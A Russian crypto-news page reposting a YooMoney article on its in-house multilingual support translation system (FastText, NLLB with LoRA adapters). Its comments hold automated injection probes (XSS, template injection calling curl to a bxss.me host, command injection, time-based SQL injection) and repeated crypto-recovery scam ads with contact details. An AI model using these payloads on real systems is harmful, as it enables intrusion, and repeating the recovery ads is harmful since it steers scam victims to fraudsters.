Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

Как служба поддержки ЮMoney научилась общаться с пользователями из разных стран, не зная их языка

Привет, Хабр. Мы – Даша (инженер машинного обучения) и Наташа (ведущий аналитик в ЮMoney). В этой статье расскажем о системе машинного перевода, разработанной как end-to-end-решение для многоязычной поддержки в финтех-компании. Рассмотрим архитектуру, технические детали реализации и практические результаты внедрения системы. А ещё покажем, как общались с пользователем из Казахстана.

f29f9580e297363d6f3ebef2f6e4bd0c.png

План статьи:

>> Проанализируем потребность в системе перевода — рассмотрим, почему языковые барьеры критичны для техподдержки и масштабирования бизнеса.

>> Обсудим выбор архитектурного подхода — почему остановились на специализированном агенте вместо универсальных LLM-решений.

>> Детально разберём техническую реализацию — как работают FastText для определения языка и NLLB для перевода и почему потребовалось 12 отдельных LoRA адаптеров.

>> Покажем систему в действии — полный цикл обработки обращения от клиента из Казахстана.

>> Завершим анализом результатов и метрик качества работы системы.

Что это за проект

Система машинного перевода для мультиязычной поддержки представляет собой полнофункциональное решение для автоматического перевода между русским и семью целевыми языками. Архитектура построена по принципу pipeline: определение языка входящего сообщения >> выбор соответствующей модели перевода >> обработка корпоративной терминологии >> формирование результата.

9fd085dcd222540178965955b769cba2.png

Ключевая особенность системы — специализация под предметную область финансовых технологий с сохранением брендинга и корректной обработкой отраслевых терминов.

Зачем нам понадобился собственный простой AI-агент

Мы проанализировали процесс обработки обращений в техподдержку и отметили критическую роль языкового компонента. Из девяти основных этапов три напрямую связаны с переводом текста:

● определить язык обращения;

● перевести вопрос пользователя на русский;

● разобраться, в чём суть вопроса;

● уточнить детали обращения;

● посмотреть операции пользователя;

● сформулировать решение;

● проверить правильность ответа;

● перевести ответ на язык клиента;

● отправить решение пользователю.

Ручная работа операторов концентрируется на этапах анализа проблемы и верификации решения, в то время как остальные этапы потенциально автоматизируемы при наличии качественного перевода.

Поэтому задачи перевода блокировали автоматизацию остальных процессов: не преодолев языковой барьер, невозможно эффективно масштабировать поддержку и внедрить автоматизированные системы обработки обращений.

Чего хотели стейкхолдеры

● Операторы требовали прозрачности процесса — им важно понимать, с какого языка переведён текст, иметь доступ к тексту обращения на языке оригинала и контролировать перевод.

● Бизнес хотел снизить языковые барьеры для выхода на новые рынки при контролируемых затратах и масштабируемости решения.

● Служба безопасности настаивала на локальной обработке персональных данных без использования внешних API и с возможностью полного аудита переводов.

● Требования DevOps-команды — производительность, надёжность fallback-механизмов и масштабируемость системы.

Какие проблемы мы обнаружили

● Универсальные опенсорс-модели плохо работают с финтех-терминами — ЮMoney, ЮCard, кэшбэк. Нужно было научить их обрабатывать такую корпоративную терминологию корректно.

● Требовалась двунаправленная функциональность, чтобы переводить входящие обращения клиентов и исходящие ответы операторов на определённый язык.

● Нельзя было отправлять персональные данные во внешние переводческие API из соображений безопасности. Нужна была собственная инфраструктура обработки.

● Готовые решения не учитывали специфику предметной области: нужно было максимально точно переводить финансовые термины, сохраняя при этом брендинг продуктов компании.

● Была сильная потребность в экономии ресурсов, поэтому модель NLLB distilled + адаптеры в памяти были бы для нас лучше, чем одна большая LLM c большим контекстным окном.

Свой AI-агент и внешний LLM API в обработке данных: кто кого

Мы сравнили подходы обоих решений и вот что выяснили:

● У нашего агента все данные остаются внутри, потому что обрабатываются на собственных серверах. У внешних LLM API данные уходят наружу, а это небезопасно.

● Собственный агент обеспечивает полную локальную обработку данных, независимость от интернет-соединения, предсказуемость затрат и полный контроль над процессом и логами.

● Внешние LLM API создают зависимости от третьих сторон, требуют передачи конфиденциальных данных, имеют переменную стоимость и ограничения по нагрузке. Например, отсутствие интернета приводит к неполадкам и сбоям.

● У собственного агента фиксированная цена, а при работе с внешними LLM API расходы постоянно увеличиваются и есть лимиты.

Таким образом, для финтеха с высокими требованиями к безопасности данных выбор в пользу собственного решения оказался очевиден.

Простой AI-агент и LLM в решении задач перевода

Вот ещё пара аргументов в пользу своего AI-помощника:

● Он выполняет узкоспециализированный перевод идеально, без лишних рассуждений и планирования, в отличие от LLM-агента. Также собственный AI обеспечивает предсказуемость результатов, а LLM может, например, перевести одно и то же предложение по-разному.

● У своего AI критичные требования к скорости: операторам не подходит длительная обработка запросов. У LLM-агента же задержка непредсказуемая — от 4 секунд на запрос.

Архитектура простого AI-агента реализует последовательную обработку в четыре этапа:

● получение входных данных,

● определение языка,

● машинный перевод,

● обработка ошибок.

Система спроектирована как Stateless-сервис с возможностью горизонтального масштабирования и независимой обработки каждого запроса. Время обработки — около 100 миллисекунд на определение языка + 0.5 до 3 секунд на перевод в зависимости от длины запроса, что обеспечивает приемлемый пользовательский опыт в интерактивных сценариях. Для сравнения: на перевод сообщений с помощью Google-переводчика оператор тратит от 30 секунд.

Детали системы

Система поддерживает семь целевых языков для перевода (русский, английский, китайский, казахский, кыргызский, таджикский и узбекский), а также 18 дополнительных (арабский, японский, корейский, европейские языки) для полного покрытия международной аудитории.

Техническая архитектура включает одну модель для определения языка и 12 дообученных специализированных LoRA адаптеров поверх NLLB distilled для машинного перевода.

Главные характеристики системы:

● работа без внешних зависимостей,

● точное распознавание языка,

● специализированная обработка финтех-терминологии,

● безопасность данных.

Этап 1: определяем язык

● Модель FastText, обученная на 25 языках, делает это с точностью 99% и тратит на обработку около одной миллисекунды.

● Логика принятия решений включает пороговые значения уверенности: при confidence выше 0.9 процесс продолжается, при более низких значениях активируется Fallback-режим.

● Русский язык обрабатывается как базовый — сообщения на русском не переводятся, а передаются операторам напрямую.

● Модель основана на n-граммах из Wikipedia, дообучена на синтетических и реальных диалогах из нашей службы поддержки и работает полностью локально.

e837690c5079cdd6dcb90e3107d766c5.pngc3eeb7a9e2b5af56cd697b5327ff47b1.png

Модель распознавания поддерживает 25 языков против 176 в универсальных решениях, что обеспечивает высокую точность за счёт специализации. Покрытие аудитории составляет 95% при существенном повышении качества распознавания по сравнению с универсальными моделями.

cda0e73f36b9490658c02ac742506e31.png

Как происходит подготовка данных для FastText

● Обучающий датасет подготовлен на основе десятков тысяч реальных сообщений из базы данных чат-бота с последующим переводом на 20+ языков.

● Процесс очистки включает нормализацию текста с помощью кастомных CleanText-методов, стандартизацию корпоративных терминов, дедупликацию и фильтрацию некорректных данных.

● Использованы предобученные векторные представления Common Crawl размерностью 300D для повышения качества модели.

Подготовка данных для тренировки модели определения языка была направлена на создание многоязычного классификатора для обработки пользовательских обращений в чат-боте. Важным этапом подготовки стала стандартизация корпоративной терминологии — во всех текстах с помощью словарей нашли и исправили названия брендов и сервисов (например, yumoney заменили на yoomoney), что обеспечило единообразие во всех языковых версиях.

В результате обработки сформировали тренировочный датасет объёмом около миллиона примеров, где каждый текст получил соответствующий языковой лейбл в формате FastText (__label__<код_языка> текст). Данные были сбалансированы по количеству примеров для каждого языка: основные языки получили по ~125 тысяч примеров, японский ~20 тысяч (из-за риска путаницы с китайским), остальные — по ~6 тысяч. Дополнительно подготовили тестовый набор из примерно 500 вручную созданных примеров, переведённых на все языки. Это обеспечило качественную оценку модели на всех поддерживаемых языках.

d70f81e89fc96e85b52234ccb717a0c7.png

Обучение модели FastText

● Модель обучена с оптимальными параметрами: 25 эпох, learning rate — 0.01, размерность векторов — 300, word n-grams — до 2, character n-grams — от 1 до 3.

● Предобученные векторы объединены для всех поддерживаемых языков в единое векторное пространство размером 300 измерений.

● Результирующая модель достигает 99% точности на тестовом наборе при размере 2.78 GB и времени определения языка около одной миллисекунды.

433226c73f08e88be1d2f2c1dfd2cd5a.png

Этап 2: машинный перевод

● Второй этап использует 12 специализированных LoRA адаптеров к модели NLLB-200, обученных на корпоративных данных с фокусом на финтех-терминологию.

● Архитектура обеспечивает двунаправленный перевод между русским и шестью целевыми языками с сохранением брендинга и корректной обработкой отраслевых терминов.

e6672a3698f174db164fe2f2fc49cf89.png

Данные и подход «Текст с ошибками >> Чистый текст»

Обучающий датасет построен так, что модели учатся переводить тексты с возможными ошибками пользователей в корректные формулировки на целевом языке.

Первая группа моделей переводит с целевых языков на русский, вторая — с русского на целевые, что обеспечивает полный цикл коммуникации.

Корпоративная терминология

Словарь системы состоит более чем из 30 корпоративных терминов с правилами их обработки для каждого языка. Принципы обработки такие: брендовые названия остаются неизменными, специальная терминология переводится по корпоративному словарю, обеспечивается консистентность во всех языках.

14ba057a8e61b6dac5693305dd17be3f.png

Параметры обучения и архитектура

Параметры обучения LoRA адаптеров:

● Модель NLLB-200-distilled-600M с LoRA адаптерами: 3 эпохи, batch size — 48 (12 per device × 4 gradient accumulation), learning rate — 5e-4.

● Warmup steps — 200, weight decay — 0.01, fp16 precision для оптимизации памяти.

● Сохранение чекпоинтов после каждой эпохи с ограничением до 5 версий.

Архитектура LoRA (Low-Rank Adaptation):

● Параметрическая эффективная адаптация: rank r=32, alpha=64, dropout=0.1

● Целевые модули: attention слои (q_proj, v_proj, k_proj, out_proj) и feed-forward слои (fc1, fc2).

● Отдельный LoRA адаптер для каждой из 12 языковых пар, заморозка базовых весов NLLB для сохранения предобученных знаний.

● Seq2Seq архитектура с автоматическим размещением на GPU, использование специализированного data collator для оптимальной обработки последовательностей.

a219800401fae5db37970b190521ef03.png

Система оценки качества

Оценка качества проводится по двум группам метрик:

● классические лексические метрики (BLEU, ROUGE-1, ROUGE-2, ROUGE-L, Levenshtein distance);

● современная нейронная метрика COMET для семантического анализа.

Классические метрики имеют ограничения: оценивают лексическое совпадение, но не учитывают семантическую близость. ROUGE может показывать низкие значения для синонимичных переводов или переводов с разной структурой предложения, но одинаковым смыслом.

COMET представляет современный подход — это нейронная метрика, обученная на человеческих оценках качества перевода. Она учитывает семантическую близость между исходным текстом, переводом и эталоном, что делает её более репрезентативной для оценки реального качества перевода.

Процесс оценки включает:

● генерацию переводов на тестовом наборе;

● расчёт всех метрик для каждой языковой пары;

● приоритетный анализ COMET-оценок как наиболее надёжного индикатора качества;

● агрегацию со сведением результатов по всем моделям.

06598ff5aff733aaffd0a0a4ad59026b.png

Результаты и метрики

По классическим метрикам лучшие результаты показали модели:

● Русский → Английский: BLEU 66.32 — наивысший показатель качества перевода.

● Русский → Таджикский: BLEU 46.51 — лучший результат среди языков СНГ.

● Русский → Казахский: BLEU 44.87 — высокое качество для тюркской языковой группы.

Особенности результатов по направлениям:

● Переводы с русского языка показали существенно более высокие BLEU-скоры (36-66) по сравнению с переводами на русский язык (22-28).

● Китайский язык продемонстрировал специфические особенности: критически низкие BLEU-скоры (~2.8 для рус→кит, ~22.9 для кит→рус) объясняются кардинальными различиями в структуре языка, но COMET-оценки подтвердили адекватность семантической передачи смысла.

● Важнее всего оказался анализ COMET-метрик, которые показывают высокое семантическое качество переводов для всех языковых пар. Это особенно важно для языков СНГ, где синтаксические различия могут снижать BLEU при сохранении смысловой точности.

Средняя метрика COMET на все языки > 0.9. Это говорит о том, что смысл полностью передан на каждом языке в обе стороны перевода.

86fc5c888d21a98727a8a2117e6a3c8c.png

Ключевые технические достижения и результаты проекта

● Создали 12 специализированных LoRA адаптеров с параметрической эффективностью (замороженная базовая модель + адаптивные слои).

● Достигли высокого качества перевода: BLEU 66.32 для рус→eng, 46.51 для рус→тадж, эффективная обработка морфологически сложных языков СНГ.

● Сделали точный перевод корпоративной терминологии.

● Сохранили контекст и семантику в переводах.

В качестве практических преимуществ:

● реализовали консистентный брендинг во всех языках;

● сделали специализацию под финтех-терминологию;

● подготовились к продакшену через MLflow.

1d4f86d7b09fc82929f1b254adca8ccb.png

Пример работы системы: обработка входящего сообщения от зарубежного клиента за восемь секунд

Рассмотрим полный цикл обработки обращения.

● Клиент Айнур из Казахстана отправляет сообщение на казахском языке о проблемах с пополнением кошелька.

20f54ed64cb26c260afb15173f2acd28.png

● Система автоматически определяет казахский язык с уверенностью 99.8%, переводит сообщение на русский с сохранением термина ЮMoney и передаёт текст на русском оператору Максиму.

cbb594061fa2b2e836551bc119dc5231.pngОператор видит переведённое сообщение с явной меткой источника и, если нужно, может просмотреть оригинал.
Оператор видит переведённое сообщение с явной меткой источника и, если нужно, может просмотреть оригинал.

● Оператор формулирует ответ на русском языке, используя функцию предпросмотра перевода для контроля качества текста перед отправкой клиенту.

2b23343ac2ed0562a379fe022c5a1407.png

● Система автоматически переводит ответ обратно на казахский, и клиент получает помощь на родном языке.

63a71cd345638bd7e9b49643cecde4f2.png

Весь процесс занимает около 1-2секунд с полным сохранением терминологии и без внешних запросов👍

Интерфейсы системы

● Интерфейс оператора обеспечивает полную прозрачность процесса — с явными метками переведённого контента, кнопками для просмотра оригинала и управления переводом.

● Для исходящих сообщений предусмотрен предпросмотр перевода с возможностью редактирования перед отправкой.

● Настройки администратора позволяют конфигурировать систему на уровне очередей для тикетов и каналов для чатов с управлением таймаутами и мониторингом качества.

Детальные сценарии использования

Система реализует два основных алгоритма:

● для входящих сообщений — определение языка, условный перевод и передача оператору;

● для исходящих — проверка необходимости перевода, выполнение перевода и отправка клиенту.

f73c976443511250c464687f51d86940.png

Ключевые принципы: язык определяется однократно, перевод выполняется только при необходимости, оператор работает исключительно с русским текстом.

Итоги

В заключение сформулируем, какие ключевые принципы построения AI-агентов мы использовали:

● Творческий подход к выбору технологий позволяет найти оптимальные решения для конкретных задач.

● Чёткие ограничения помогают выбрать специализированное решение вместо универсального.

● Комплексный мониторинг должен включать технические метрики, NPS и частоту повторных обращений.

● Результат — система машинного перевода с NLLB с адаптерами, 99-процентной точностью определения языка, полностью локальной обработкой и временем отклика около трёх секунд.

Мы создали работающую систему, которая решает задачу языковых барьеров в финтех-поддержке быстро, с высокой точностью и без угрозы для данных.

***

Если остались вопросы, задавайте их в комментариях, с удовольствием ответим.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

